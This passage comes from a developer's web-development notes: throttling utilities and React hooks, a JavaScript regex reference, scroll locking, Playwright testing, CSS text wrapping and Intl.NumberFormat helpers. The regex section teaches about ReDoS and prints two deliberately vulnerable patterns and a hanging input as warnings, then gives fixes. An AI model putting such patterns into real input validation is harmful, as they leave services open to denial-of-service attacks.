  let last = 0
  let id: ReturnType<typeof setTimeout> | undefined
  return (...args: Args) => {
    clearTimeout(id)
    const wait = Math.max(interval - (Date.now() - last), 0)
    id = setTimeout(() => {
      last = Date.now()
      fn(...args)
    }, wait)
  }
}

Usage

Scroll: progress bar and back-to-top button

const progress = document.querySelector<HTMLElement>('#progress')!
const backToTop = document.querySelector<HTMLElement>('#back-to-top')!

const onScroll = throttle(() => {
  const max = document.documentElement.scrollHeight - window.innerHeight
  progress.style.transform = `scaleX(${window.scrollY / max})`
  backToTop.hidden = window.scrollY < 600
}, 100)

// passive: we never call preventDefault, so the browser can scroll without waiting for us
window.addEventListener('scroll', onScroll, { passive: true })

Track pointer position

const sendCursor = throttle((x: number, y: number) => {
  socket.send(JSON.stringify({ type: 'cursor', x, y }))
}, 50)

document.addEventListener('pointermove', (e) => sendCursor(e.clientX, e.clientY))

Throttle to the frame rate instead

For purely visual work (moving an element with the pointer, parallax), throttle to the browser's paint cycle with requestAnimationFrame instead of a fixed interval.

const rafThrottle = <Args extends unknown[]>(fn: (...args: Args) => void) => {
  let frame: number | undefined
  let latest: Args

  return (...args: Args) => {
    latest = args
    frame ??= requestAnimationFrame(() => {
      frame = undefined
      fn(...latest)
    })
  }
}

window.addEventListener(
  'scroll',
  rafThrottle(() => {
    header.classList.toggle('is-stuck', window.scrollY > 0)
  }),
  { passive: true },
)

Before you throttle a scroll handler, check if you need one. "Is this element on screen?" is better answered by IntersectionObserver, and many scroll effects can be pure CSS (position: sticky, scroll-driven animations).

React hooks

`useThrottledValue`

Throttle a value. It updates at most once per interval, and always settles on the latest value.

import { useEffect, useRef, useState } from 'react'

export function useThrottledValue<T>(value: T, interval = 200): T {
  const [throttled, setThrottled] = useState(value)
  const last = useRef(0)

  useEffect(() => {
    const remaining = interval - (Date.now() - last.current)
    const id = setTimeout(
      () => {
        last.current = Date.now()
        setThrottled(value)
      },
      Math.max(remaining, 0),
    )
    return () => clearTimeout(id)
  }, [value, interval])

  return throttled
}

`useThrottledCallback`

Throttle a function. Same identity between renders; always calls the latest fn.

import { useLayoutEffect, useMemo, useRef } from 'react'
import { throttleTrailing } from './throttle'

export function useThrottledCallback<Args extends unknown[]>(
  fn: (...args: Args) => void,
  interval = 200,
) {
  const fnRef = useRef(fn)
  useLayoutEffect(() => {
    fnRef.current = fn
  })

  return useMemo(
    () => throttleTrailing((...args: Args) => fnRef.current(...args), interval),
    [interval],
  )
}

`useScrollY`

A small hook built on top of it.

export function useScrollY(interval = 100) {
  const [y, setY] = useState(0)
  const onScroll = useThrottledCallback(() => setY(window.scrollY), interval)

  useEffect(() => {
    onScroll()
    window.addEventListener('scroll', onScroll, { passive: true })
    return () => window.removeEventListener('scroll', onScroll)
  }, [onScroll])

  return y
}

function BackToTop() {
  const y = useScrollY()
  if (y < 600) return null
  return <button onClick={() => window.scrollTo({ top: 0, behavior: 'smooth' })}>Back to top</button>
}

With React Query

Debounce or throttle? With a search box you want the result for the final text, so debounce. With a slider or a map you want the results to follow along while the user drags, so throttle.

Live results while dragging a slider

The slider moves smoothly on every change. The query fires at most every 300ms, so the results update while dragging without sending a request for every pixel.

import { keepPreviousData, useQuery } from '@tanstack/react-query'
import { useState } from 'react'
import { useThrottledValue } from './useThrottledValue'

function PriceFilter() {
  const [maxPrice, setMaxPrice] = useState(500)
  const throttledMax = useThrottledValue(maxPrice, 300)

  const { data: products = [], isFetching } = useQuery({
    queryKey: ['products', { maxPrice: throttledMax }],
    queryFn: ({ signal }) =>
      fetch(`/api/products?maxPrice=${throttledMax}`, { signal }).then((r) => r.json()),
    placeholderData: keepPreviousData,
  })

  return (
    <>
      <label>
        Max price: £{maxPrice}
        <input
          type="range"
          min={0}
          max={1000}
          value={maxPrice}
          onChange={(e) => setMaxPrice(Number(e.target.value))}
        />
      </label>
      <ProductGrid products={products} dimmed={isFetching} />
    </>
  )
}

The same pattern works for map bounds as the user pans (queryKey: ['places', throttledBounds]).

Infinite scroll with `useInfiniteQuery`

Check the scroll position at most every 200ms and load the next page near the bottom. The hasNextPage / isFetchingNextPage guard stops duplicate requests.

import { useInfiniteQuery } from '@tanstack/react-query'

type Page = { items: Post[]; nextCursor: string | null }

function Feed() {
  const { data, fetchNextPage, hasNextPage, isFetchingNextPage } = useInfiniteQuery({
    queryKey: ['feed'],
    queryFn: async ({ pageParam, signal }): Promise<Page> => {
      const res = await fetch(`/api/feed?cursor=${pageParam ?? ''}`, { signal })
      return res.json()
    },
    initialPageParam: null as string | null,
    getNextPageParam: (lastPage) => lastPage.nextCursor,
  })

  const onScroll = useThrottledCallback(() => {
    const nearBottom =
      window.innerHeight + window.scrollY >= document.documentElement.scrollHeight - 800
    if (nearBottom && hasNextPage && !isFetchingNextPage) fetchNextPage()
  }, 200)

  useEffect(() => {
    window.addEventListener('scroll', onScroll, { passive: true })
    return () => window.removeEventListener('scroll', onScroll)
  }, [onScroll])

  return (
    <ul>
      {data?.pages.flatMap((page) => page.items).map((post) => <PostRow key={post.id} post={post} />)}
      {isFetchingNextPage && <li>Loading…</li>}
    </ul>
  )
}

An IntersectionObserver on a sentinel element at the end of the list does the same job without a scroll listener. Use the throttled version when you already have a scroll handler, or need the position for other things.

Throttle refetches from rapid events

Some events fire in bursts: a websocket that pushes many "something changed" messages, or a real-time cursor. Throttle the invalidation so the list refetches at most once a second instead of once per message.

function useLiveOrders() {
  const queryClient = useQueryClient()
  const invalidate = useThrottledCallback(
    () => queryClient.invalidateQueries({ queryKey: ['orders'] }),
    1000,
  )

  useEffect(() => {
    const ws = new WebSocket('wss://example.com/orders')
    ws.addEventListener('message', invalidate)
    return () => ws.close()
  }, [invalidate])

  return useQuery({ queryKey: ['orders'], queryFn: fetchOrders })
}

Regular expressions

Zander Martineau — Tue, 28 Jul 2026 00:00:00 GMT

A comprehensive reference for regular expressions in JavaScript/TypeScript. I write regexes rarely enough that I forget the syntax every single time, so this is the page I want to land on when that happens.

Creating a regex

// Literal — compiled once, at parse time. Use this by default.
const re = /\d+/g

// Constructor — use when the pattern is dynamic.
const word = 'cat'
const re2 = new RegExp(`\\b${word}\\b`, 'gi')

The constructor takes a string, so every backslash must be doubled: \d becomes \\d. This is the single most common source of "why doesn't my regex work".

If you're interpolating user input into a pattern, escape it first — otherwise a stray ( throws a SyntaxError and .* becomes an unintended wildcard:

const escapeRegex = (str: string) => str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')

new RegExp(escapeRegex('price: $9.99 (sale)'), 'i')

There's also a TC39 proposal for RegExp.escape — check support before reaching for it.

Flags

Flag	Name	What it does
`g`	global	Find all matches, not just the first
`i`	ignoreCase	Case-insensitive
`m`	multiline	`^` and `$` match at line breaks, not just string start/end
`s`	dotAll	`.` also matches newlines
`u`	unicode	Treat the pattern as Unicode code points; enables `\p{…}`
`v`	unicodeSets	Superset of `u` — set operations inside `[…]`
`y`	sticky	Match must start exactly at `lastIndex`
`d`	hasIndices	Adds `.indices` to match results

'Line one\nLine two'.match(/^Line/gm) // ['Line', 'Line']
/a.c/.test('a\nc') // false
/a.c/s.test('a\nc') // true

m only changes what ^ and $ mean. s only changes what . means. They're independent and frequently confused.

Character classes

.        any char except newline (unless `s` flag)
\d       digit          [0-9]
\D       non-digit
\w       word char      [A-Za-z0-9_]
\W       non-word char
\s       whitespace     space, tab, newline, \r, \f, \v, unicode spaces
\S       non-whitespace
\t \n \r tab, newline, carriage return
\0       NUL
\xHH     char by 2-digit hex, e.g. \x41 === 'A'
\uHHHH   char by 4-digit hex, e.g. \u00e9 === 'é'
\u{1F600} code point — requires the `u` or `v` flag

\w is ASCII-only. It does not match é, ñ, or 日. For real-world text use Unicode property escapes (below).

Custom classes

/[aeiou]/       // any one of these
/[^aeiou]/      // anything but these — ^ only negates inside brackets
/[a-z0-9_-]/    // ranges; put - first or last to match a literal hyphen
/[\d\s]/        // shorthands work inside brackets

Inside […] most metacharacters lose their meaning — [.+*] matches a literal dot, plus, or asterisk. You still need to escape ], \, and ^ (when leading).

Quantifiers

*        0 or more
+        1 or more
?        0 or 1 (optional)
{3}      exactly 3
{3,}     3 or more
{3,5}    3 to 5

By default quantifiers are greedy — they consume as much as possible, then backtrack. Add ? to make them lazy (as little as possible):

const html = '<b>bold</b> and <i>italic</i>'

html.match(/<.+>/)[0] // '<b>bold</b> and <i>italic</i>'  greedy
html.match(/<.+?>/)[0] // '<b>'                            lazy

Lazy quantifiers are the fix for 90% of "my regex matched way too much" problems.

Anchors and boundaries

^        start of string (or line, with `m`)
$        end of string (or line, with `m`)
\b       word boundary
\B       not a word boundary

/^\d+$/.test('12345') // true  — entire string is digits
/^\d+$/.test('123a') // false

'cat catalogue'.match(/\bcat\b/g) // ['cat'] — not 'catalogue'

Gotcha: \b is defined in terms of \w, so it behaves oddly around accented characters and emoji.

Also: ^…$ with the m flag will happily let a multi-line string pass a "validation" regex. If you're validating a whole input, don't use m.

Groups

(…)          capturing group
(?:…)        non-capturing group — grouping without a capture slot
(?<name>…)   named capturing group
\1           backreference to group 1
\k<name>     backreference to a named group

const date = '2026-07-28'

// Numbered
const [, y, m, d] = date.match(/(\d{4})-(\d{2})-(\d{2})/)!

// Named — far more readable, and survives reordering
const { year, month, day } = date.match(
  /(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})/,
)!.groups!

Backreferences match the same text that a group captured, which makes them good at finding repetition:

// Doubled words
'the the quick brown brown fox'.match(/\b(\w+)\s+\1\b/g)
// ['the the', 'brown brown']

// Matching quote styles
/(["'])(.*?)\1/.exec(`say "hi" now`)[0] // '"hi"' — closing quote must match the opener

Use (?:…) whenever you only need grouping — it keeps capture numbering clean and is marginally faster.

Alternation

/cat|dog|bird/.test('I have a dog') // true

// Alternation has the lowest precedence — group it when it matters
/^(cat|dog)s?$/.test('dogs') // true
/^cat|dog$/ // means: (^cat) OR (dog$) — probably not what you want

Order matters: the engine takes the first alternative that matches, not the longest. Put longer alternatives first: /\b(JavaScript|Java)\b/, not the reverse.

Lookaround

Zero-width assertions — they check for a pattern without consuming it.

(?=…)    positive lookahead   — followed by
(?!…)    negative lookahead   — not followed by
(?<=…)   positive lookbehind  — preceded by
(?<!…)   negative lookbehind  — not preceded by

// Number followed by 'px', capture just the number
'width: 20px'.match(/\d+(?=px)/)![0] // '20'

// Number NOT followed by 'px'
'20px 30em'.match(/\d+(?!px|\d)/g) // ['30']

// Price preceded by £
'£42 and $99'.match(/(?<=£)\d+/)![0] // '42'

// Words not preceded by '@'
'hello @world'.match(/(?<!@)\b\w+/g) // ['hello']

Lookbehind is supported in all modern engines (Node 8.3+, Safari 16.4+), but bear in mind older Safari throws a SyntaxError at parse time — which can take down an entire bundle, not just the one feature. If you must support ancient Safari, feature-detect in a try/catch.

Classic use: password validation without writing four separate tests.

const strongPassword = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[\W_]).{12,}$/

Each lookahead scans from position 0 independently, so order is irrelevant.

Unicode property escapes

Requires the u or v flag. This is how you handle non-English text properly.

/\p{L}/u          // any letter, any language
/\p{Lu}/u         // uppercase letter
/\p{N}/u          // any number
/\p{Script=Cyrillic}/u
/\p{Emoji_Presentation}/u
/\P{L}/u          // capital P negates

// A "word" regex that actually works internationally
const words = 'Café naïve 日本語 tests'.match(/[\p{L}\p{N}_]+/gu)
// ['Café', 'naïve', '日本語', 'tests']

// vs. \w, which mangles it
'Café naïve'.match(/\w+/g) // ['Caf', 'na', 've']

The v flag adds set operations, which are genuinely useful for emoji and script filtering:

/[\p{Script=Greek}--[\p{Lu}]]/v // Greek letters, minus uppercase (difference)
/[\p{L}&&\p{ASCII}]/v // ASCII letters only (intersection)

Splitting strings with emoji

.length and split('') count UTF-16 code units, which breaks on anything outside the BMP:

'👨‍👩‍👧'.length // 8
;[...'👨‍👩‍👧'].length // 5 — code points (3 people + 2 joiners)

// Grapheme clusters — what a human calls "a character"
const seg = new Intl.Segmenter('en', { granularity: 'grapheme' })
;[...seg.segment('👨‍👩‍👧')].length // 1

Use Intl.Segmenter over regex for anything user-facing that involves counting characters.

The methods

`test` — boolean

/\d/.test('abc1') // true

Fastest option when you only need yes/no. Never use a g-flagged regex with test in a loop or a reused variable — see the lastIndex gotcha below.

`match` — one match, or all matches

// Without `g`: rich result object
const m = '2026-07-28'.match(/(\d{4})-(\d{2})/)
m[0] // '2026-07' full match
m[1] // '2026'    group 1
m.index // 0
m.input // '2026-07-28'
m.groups // named groups, or undefined

// With `g`: flat array of full matches only — no groups, no index
'a1b2c3'.match(/\d/g) // ['1', '2', '3']

// No match: null, NOT []
'abc'.match(/\d/g) // null

That null return is a constant source of TypeError: Cannot read properties of null. Guard it, or use matchAll/?? [].

`matchAll` — all matches, with full detail

const css = 'margin: 10px 20px 30px'

for (const m of css.matchAll(/(\d+)(px|em)/g)) {
  console.log(m[1], m[2], m.index)
}

// Or collect
const all = [...css.matchAll(/(\d+)px/g)].map((m) => Number(m[1]))
// [10, 20, 30]

Requires the g flag (throws TypeError without it). Returns an iterator, so it's [...] or for…of. This is what you want almost any time you'd reach for a while (exec()) loop.

`exec` — stateful iteration

const re = /(\d+)/g
let m: RegExpExecArray | null

while ((m = re.exec('a1b22c333')) !== null) {
  console.log(m[1], re.lastIndex)
}

Same result shape as non-global match. Only reach for this over matchAll if you need to mutate lastIndex mid-loop.

`replace` / `replaceAll`

'2026-07-28'.replace(/(\d{4})-(\d{2})-(\d{2})/, '$3/$2/$1') // '28/07/2026'

Replacement string patterns:

Pattern	Inserts
`$&`	the whole match
$`	text before the match
`$'`	text after the match
`$1`, `$2`	numbered group
`$<name>`	named group
`$$`	a literal `$`

// Named groups read much better
'2026-07-28'.replace(
  /(?<y>\d{4})-(?<m>\d{2})-(?<d>\d{2})/,
  '$<d>/$<m>/$<y>',
)

A function replacer gives you real logic. Args are (match, ...groups, offset, string, groups?):

// kebab-case → camelCase
const camel = (s: string) => s.replace(/-([a-z])/g, (_, c) => c.toUpperCase())
camel('background-image-url') // 'backgroundImageUrl'

// camelCase → kebab-case
const kebab = (s: string) =>
  s.replace(/[A-Z]/g, (c) => `-${c.toLowerCase()}`)
kebab('backgroundImageUrl') // 'background-image-url'

// Named groups arrive as the last argument
'2026-07-28'.replace(
  /(?<y>\d{4})-(?<m>\d{2})-(?<d>\d{2})/,
  (...args) => {
    const { y, m, d } = args.at(-1) as Record<string, string>
    return `${d}/${m}/${y}`
  },
)

// Templating
const template = (str: string, data: Record<string, unknown>) =>
  str.replace(/\{\{(\w+)\}\}/g, (_, key) => String(data[key] ?? ''))

template('Hi {{name}}, you have {{count}} messages', {
  name: 'Zander',
  count: 3,
})

replace with a non-global regex only replaces the first occurrence. replaceAll replaces every one, and throws if given a regex without g — which is a genuinely useful safety net.

`search` and `split`

'hello world'.search(/world/) // 6, or -1
'a1b22c'.split(/\d+/) // ['a', 'b', 'c']
'a1b22c'.split(/(\d+)/) // ['a', '1', 'b', '22', 'c'] — captures included
'a,b;c d'.split(/[,;\s]/) // ['a', 'b', 'c', 'd']

split with capture groups keeping the delimiters is a nice trick for tokenising.

Gotchas

`lastIndex` state

A g or y flagged regex object carries mutable state. Reusing one is a bug factory:

const re = /\d/g

re.test('a1') // true  — lastIndex now 2
re.test('a1') // false — resumed from index 2!
re.test('a1') // true  — lastIndex reset to 0 after failure

Fixes, in order of preference:

Drop the g flag — test doesn't need it.
Create the regex inline rather than hoisting it to module scope.
Reset manually: re.lastIndex = 0.

The same trap applies to a module-level regex shared across function calls, or a regex in a React component body reused across renders.

Catastrophic backtracking (ReDoS)

Nested quantifiers over overlapping character sets can blow up exponentially:

// DON'T — hangs on 'aaaaaaaaaaaaaaaaaaaaaaaaaaaa!'
const bad = /^(a+)+$/

// DON'T — a classic vulnerable "email" regex
const alsoBad = /^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@)/

The problems to look for: (x+)+, (x*)*, (a|ab)+, and alternations where branches can match the same text. Fixes: make the inner pattern unambiguous, use a lazy quantifier, bound the repetition with {1,20}, or split the job into two simpler passes. If a pattern comes from user input, put a hard length cap on it.

Don't parse HTML

Genuinely — use DOMParser or the actual DOM. Regex can't handle nesting, and every "just this once" HTML regex eventually meets a nested tag or an attribute containing >.

Email validation

The full RFC 5322 grammar is not worth expressing as a regex. Do a sanity check and then send a confirmation email:

const looksLikeEmail = (s: string) => /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(s)

Useful patterns

// Trim + collapse internal whitespace
const normalise = (s: string) => s.trim().replace(/\s+/g, ' ')

// Slugify
const slugify = (s: string) =>
  s
    .normalize('NFKD')
    .replace(/[\u0300-\u036f]/g, '') // strip diacritics
    .toLowerCase()
    .replace(/[^\p{L}\p{N}]+/gu, '-')
    .replace(/^-+|-+$/g, '')

slugify('Héllo, World! (2026)') // 'hello-world-2026'

// Thousands separators
const commas = (n: number) => String(n).replace(/\B(?=(\d{3})+(?!\d))/g, ',')
commas(1234567) // '1,234,567'

// Hex colour, 3/4/6/8 digit
const hex = /^#(?:[\da-f]{3,4}|[\da-f]{6}|[\da-f]{8})$/i

// URL — leans on the URL constructor for the hard part
const isUrl = (s: string) => {
  try {
    const u = new URL(s)
    return u.protocol === 'http:' || u.protocol === 'https:'
  } catch {
    return false
  }
}

// UUID v4
const uuidV4 =
  /^[\da-f]{8}-[\da-f]{4}-4[\da-f]{3}-[89ab][\da-f]{3}-[\da-f]{12}$/i

// ISO 8601 date (shape only — doesn't reject Feb 31st)
const isoDate = /^\d{4}-(?:0[1-9]|1[0-2])-(?:0[1-9]|[12]\d|3[01])$/

// Semver, from semver.org's official pattern
const semver =
  /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][\da-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][\da-zA-Z-]*))*))?(?:\+([\da-zA-Z-]+(?:\.[\da-zA-Z-]+)*))?$/

// Markdown links → [text](url)
const links = [...md.matchAll(/\[([^\]]+)\]\(([^)\s]+)(?:\s+"([^"]*)")?\)/g)]

// Fenced code blocks, with optional language
// (backticks written as \u0060 so this snippet can live inside a code fence)
const blocks = [...md.matchAll(/^\u0060{3}(\w+)?\n([\s\S]*?)^\u0060{3}$/gm)]

// Frontmatter
const fm = /^---\n([\s\S]*?)\n---/.exec(md)?.[1]

// Duplicate lines
const dupes = text.match(/^(.*)$\n(?=^\1$)/gm)

// Strip ANSI escape codes
const stripAnsi = (s: string) => s.replace(/\x1b\[[0-9;]*m/g, '')

TypeScript specifics

match and exec return null, and .groups is Record<string, string> | undefined regardless of what your pattern guarantees. TypeScript can't infer group names from a pattern, so narrow explicitly rather than reaching for !:

const parseDate = (input: string) => {
  const m = /^(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})$/.exec(input)
  if (!m?.groups) return null

  const { year, month, day } = m.groups as {
    year: string
    month: string
    day: string
  }
  return { year: +year, month: +month, day: +day }
}

With the d flag you get positional info too:

const m = /(?<num>\d+)/d.exec('abc 42')!
m.indices?.groups?.num // [4, 6]

For anything with real parsing requirements, a regex-backed schema in Zod or Valibot gives you the types and the validation in one place.

Tooling

regex101 — the good one. Set the flavour to ECMAScript, use the explanation pane, and watch the step counter for backtracking blowups.
RegExr — nice cheatsheet sidebar, good for learning.
Regexper — renders a regex as a railroad diagram, which is the fastest way to understand someone else's monstrosity.
regexes.dev — vetted, copy-pasteable patterns.
MDN regex reference — the actual spec behaviour, including flag interactions.
super-regex — runs a regex with a timeout, so a ReDoS pattern can't take out your server.

If a pattern needs a comment to explain it, it probably wants to be two simpler patterns, or a small parser. Regex is write-once, read-never — be kind to whoever hits it next.

Locking scroll

Zander Martineau — Tue, 21 Jul 2026 15:30:00 GMT

When an overlay is open — modal, search palette, mobile nav — the page behind it shouldn't scroll. Deceptively fiddly to get right: the naive version causes layout shift when the scrollbar disappears, scroll chaining leaks through to the page, and iOS Safari has historically ignored the whole thing. Here's my packaged-up version.

The CSS

html {
  /* reserve the scrollbar space so nothing shifts when it disappears */
  scrollbar-gutter: stable;
}

html.scroll-locked {
  overflow: hidden;
}

scrollbar-gutter: stable is the modern fix for the "page jumps sideways when the scrollbar vanishes" problem — no more measuring scrollbar width in JS and faking it with padding-right.

And on the overlay itself, stop scroll chaining — without this, reaching the end of the overlay's own scrollable content starts scrolling the page behind it:

.overlay {
  overscroll-behavior: contain;
}

The JavaScript

Just toggle the class:

const lockScroll = () => {
  document.documentElement.classList.add('scroll-locked')
}

const unlockScroll = () => {
  document.documentElement.classList.remove('scroll-locked')
}

CSS-only version with `:has()`

If the overlay's open state is already in the DOM (a <dialog open>, a checked checkbox, a [data-open] attribute), you can skip the JS entirely:

html:has(dialog[open]) {
  overflow: hidden;
}

This is what I reach for first now — the lock can't get out of sync with the overlay because it's derived from the same state.

iOS Safari

The long-standing gotcha: iOS Safari used to plain ignore overflow: hidden on html/body for touch scrolling. Modern iOS (16+) behaves, so for current browsers the above is enough. If you still need to support older iOS, the classic workaround is fixing the body in place and restoring the scroll position on unlock:

let scrollY = 0

const lockScroll = () => {
  scrollY = window.scrollY
  document.body.style.position = 'fixed'
  document.body.style.top = `-${scrollY}px`
  document.body.style.width = '100%'
}

const unlockScroll = () => {
  document.body.style.position = ''
  document.body.style.top = ''
  document.body.style.width = ''
  window.scrollTo(0, scrollY)
}

Don't forget

<dialog>.showModal() makes the backdrop inert and traps focus for free, but it does not lock scroll — you still need one of the above (the :has(dialog[open]) version pairs perfectly).
Nested overlays: if two things can lock at once, a bare class toggle breaks when the first one closes. Keep a counter, or scope the :has() selector to cover all of them.
A library that handles the edge cases (including old iOS): body-scroll-lock — though I've not needed it since scrollbar-gutter and :has() landed everywhere.

Playwright

Zander Martineau — Tue, 21 Jul 2026 00:00:00 GMT

My go-to for E2E testing. Cross-browser (Chromium, Firefox, WebKit), auto-waiting built in, and the tooling (--ui mode, codegen, trace viewer) is genuinely excellent.

Setup

npm init playwright@latest
# or add to an existing project
npm install -D @playwright/test
npx playwright install

Useful commands:

npx playwright test                  # run everything, headless
npx playwright test --ui             # interactive UI mode — use this while writing tests
npx playwright test --headed         # watch the browser
npx playwright test --project=chromium
npx playwright test example.spec.ts  # single file
npx playwright test -g "search"      # tests matching title
npx playwright codegen zander.wtf    # record actions, generate test code
npx playwright show-report

Config boilerplate

playwright.config.ts:

import { defineConfig, devices } from '@playwright/test'

export default defineConfig({
  testDir: './e2e',
  fullyParallel: true,
  forbidOnly: !!process.env.CI, // fail CI if test.only left in
  retries: process.env.CI ? 2 : 0,
  reporter: 'html',
  use: {
    baseURL: 'http://localhost:4321',
    trace: 'on-first-retry', // capture trace when retrying
  },
  projects: [
    { name: 'chromium', use: { ...devices['Desktop Chrome'] } },
    { name: 'webkit', use: { ...devices['Desktop Safari'] } },
    { name: 'mobile', use: { ...devices['iPhone 15'] } },
  ],
  // start the dev server before tests, reuse if already running
  webServer: {
    command: 'pnpm dev',
    url: 'http://localhost:4321',
    reuseExistingServer: !process.env.CI,
  },
})

The webServer block is the bit I always forget — Playwright starts (and kills) your dev server for you.

A basic test

import { expect, test } from '@playwright/test'

test.describe('search', () => {
  test('finds notes from the search page', async ({ page }) => {
    await page.goto('/search')

    await page.getByRole('searchbox').fill('playwright')
    await page.keyboard.press('Enter')

    await expect(page.getByRole('listitem')).not.toHaveCount(0)
    await expect(page).toHaveURL(/q=playwright/)
  })
})

No manual waits anywhere — expect retries until it passes or times out (web-first assertions), and actions auto-wait for elements to be actionable.

Locators

Prefer user-facing locators (role, label, text) over CSS/test-ids — they double as accessibility checks:

page.getByRole('button', { name: 'Submit' })
page.getByRole('heading', { level: 1 })
page.getByLabel('Email')
page.getByPlaceholder('Search…')
page.getByText('No results')
page.getByTestId('nav-menu') // escape hatch — data-testid

// chaining and filtering
page.getByRole('listitem').filter({ hasText: 'CSS' })
page.getByRole('list').getByRole('link').first()

Common assertions

await expect(page).toHaveTitle(/Zander/)
await expect(page).toHaveURL('/notes')
await expect(locator).toBeVisible()
await expect(locator).toHaveText('exact match')
await expect(locator).toContainText('partial')
await expect(locator).toHaveCount(5)
await expect(locator).toHaveAttribute('href', '/search')
await expect(locator).toBeChecked()
await expect(locator).toBeDisabled()

Hooks and fixtures

test.beforeEach(async ({ page }) => {
  await page.goto('/')
})

test('nav works', async ({ page }) => {
  // page already on /
})

Auth once, reuse everywhere

// auth.setup.ts
import { test as setup } from '@playwright/test'

setup('authenticate', async ({ page }) => {
  await page.goto('/login')
  await page.getByLabel('Email').fill(process.env.TEST_USER_EMAIL)
  await page.getByLabel('Password').fill(process.env.TEST_USER_PASSWORD)
  await page.getByRole('button', { name: 'Sign in' }).click()
  await page.waitForURL('/dashboard')
  await page.context().storageState({ path: '.auth/user.json' })
})

// playwright.config.ts projects
projects: [
  { name: 'setup', testMatch: /auth\.setup\.ts/ },
  {
    name: 'chromium',
    use: { ...devices['Desktop Chrome'], storageState: '.auth/user.json' },
    dependencies: ['setup'],
  },
]

Mocking network requests

test('shows empty state', async ({ page }) => {
  await page.route('**/api/search**', (route) =>
    route.fulfill({ json: { results: [] } }),
  )

  await page.goto('/search?q=anything')
  await expect(page.getByText('No results')).toBeVisible()
})

page.route intercepts anything matching the glob — fulfil with a mock, route.abort() to simulate failure, or route.continue() with tweaks.

Debugging

npx playwright test --debug — steps through with the inspector
await page.pause() — drop a breakpoint into a test
Traces are the killer feature: trace: 'on-first-retry' in config, then npx playwright show-trace trace.zip gives you a full DOM snapshot timeline of the failure. CI failures stop being guesswork.

CI

# .github/workflows/e2e.yml
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
- run: npm ci
- run: npx playwright install --with-deps
- run: npx playwright test
- uses: actions/upload-artifact@v4
  if: ${{ !cancelled() }}
  with:
    name: playwright-report
    path: playwright-report/

Text wrapping & word breaking

Zander Martineau — Mon, 20 Jul 2026 15:30:00 GMT

text-wrap — overall line-wrapping strategy: balance (headings), pretty (body, avoids orphans), nowrap, stable (editable content)
overflow-wrap — break too-long words (URLs etc.) as a last resort. Use this 95% of the time. Prefer anywhere over break-word — it affects min-content, so it also works inside flex/grid
word-break — break-all breaks between any characters, all the time. Aggressive; for hashes/tokens or CJK. keep-all prevents breaks in CJK
word-wrap — legacy alias for overflow-wrap, don't use
hyphens: auto — dictionary-correct breaks with a hyphen; needs lang attribute

/* sensible defaults */
h1, h2, h3, h4 {
  text-wrap: balance;
}
p, li {
  text-wrap: pretty;
}

/* stop long URLs/user content blowing out layouts */
.user-content {
  overflow-wrap: anywhere;
}

/* dense wrapping for hashes/tokens */
.commit-hash {
  word-break: break-all;
}

Intl.NumberFormat

Zander Martineau — Mon, 20 Jul 2026 15:30:00 GMT

Locale-aware number formatting, built in. Currency symbols, thousands separators, compact "1.2M"-style notation, units, percentages — no library needed. I use this all the time.

new Intl.NumberFormat('en-GB').format(1234567.891)
// '1,234,567.891'

new Intl.NumberFormat('de-DE').format(1234567.891)
// '1.234.567,891' — separators flip for German

The options I actually use

Currency

new Intl.NumberFormat('en-GB', {
  style: 'currency',
  currency: 'GBP',
}).format(1099.5)
// '£1,099.50'

// currencyDisplay: 'narrowSymbol' gives '$' instead of 'US$'
new Intl.NumberFormat('en-GB', {
  style: 'currency',
  currency: 'USD',
  currencyDisplay: 'narrowSymbol',
}).format(1099.5)
// '$1,099.50'

Compact notation

Great for stats, follower counts, chart axes:

const compact = new Intl.NumberFormat('en-GB', { notation: 'compact' })

compact.format(1234) // '1.2K'
compact.format(1234567) // '1.2M'
compact.format(1234567890) // '1.2B'

Units

new Intl.NumberFormat('en-GB', {
  style: 'unit',
  unit: 'kilometer-per-hour',
}).format(50)
// '50 km/h'

new Intl.NumberFormat('en-GB', {
  style: 'unit',
  unit: 'megabyte',
  unitDisplay: 'narrow',
}).format(250)
// '250MB'

Percentages

new Intl.NumberFormat('en-GB', { style: 'percent' }).format(0.85)
// '85%' — note: takes the fraction, not 85

Signs

signDisplay: 'exceptZero' is handy for deltas ("+3.2%" in green, "-1.4%" in red):

const delta = new Intl.NumberFormat('en-GB', {
  style: 'percent',
  signDisplay: 'exceptZero',
  maximumFractionDigits: 1,
})

delta.format(0.032) // '+3.2%'
delta.format(-0.014) // '-1.4%'

Ranges

new Intl.NumberFormat('en-GB', {
  style: 'currency',
  currency: 'GBP',
}).formatRange(35, 60)
// '£35–£60'

My helpers

Wrappers I've used across past projects — a validating base function plus thin presets on top.

Constructing an Intl.NumberFormat is comparatively expensive — .format() calls are cheap. Earlier versions of these helpers built a fresh formatter on every call, which is fine until you're formatting a table with a few thousand cells. The fix is a small cache keyed by locale + options, so each distinct configuration only ever constructs one formatter:

const DEFAULT_DECIMAL_PLACES = 2

// Module-level cache — lives for the lifetime of the app, shared by every
// caller. Constructing an Intl.NumberFormat is the expensive part; calling
// .format() on an existing one is cheap.
const formatterCache = new Map<string, Intl.NumberFormat>()

/**
 * Returns a memoised Intl.NumberFormat for the given locale + options.
 * Each distinct configuration only ever constructs one formatter.
 * @param locale - BCP 47 locale tag e.g. 'en-GB'. Pass undefined to use the runtime's locale.
 * @param options - Standard Intl.NumberFormatOptions.
 * @returns A cached (or newly created and cached) formatter instance.
 */
const getNumberFormat = (
  locale?: string,
  options?: Intl.NumberFormatOptions,
): Intl.NumberFormat => {
  // NOTE: JSON.stringify makes a stable key only if the options object is
  // always built with the same property order — true for the presets below.
  const key = `${locale}:${JSON.stringify(options)}`
  let formatter = formatterCache.get(key)
  if (!formatter) {
    formatter = new Intl.NumberFormat(locale, options)
    formatterCache.set(key, formatter)
  }
  return formatter
}

/**
 * Formats a number (or numeric string) using Intl.NumberFormat, with
 * validation. Throws rather than rendering 'NaN' to the user.
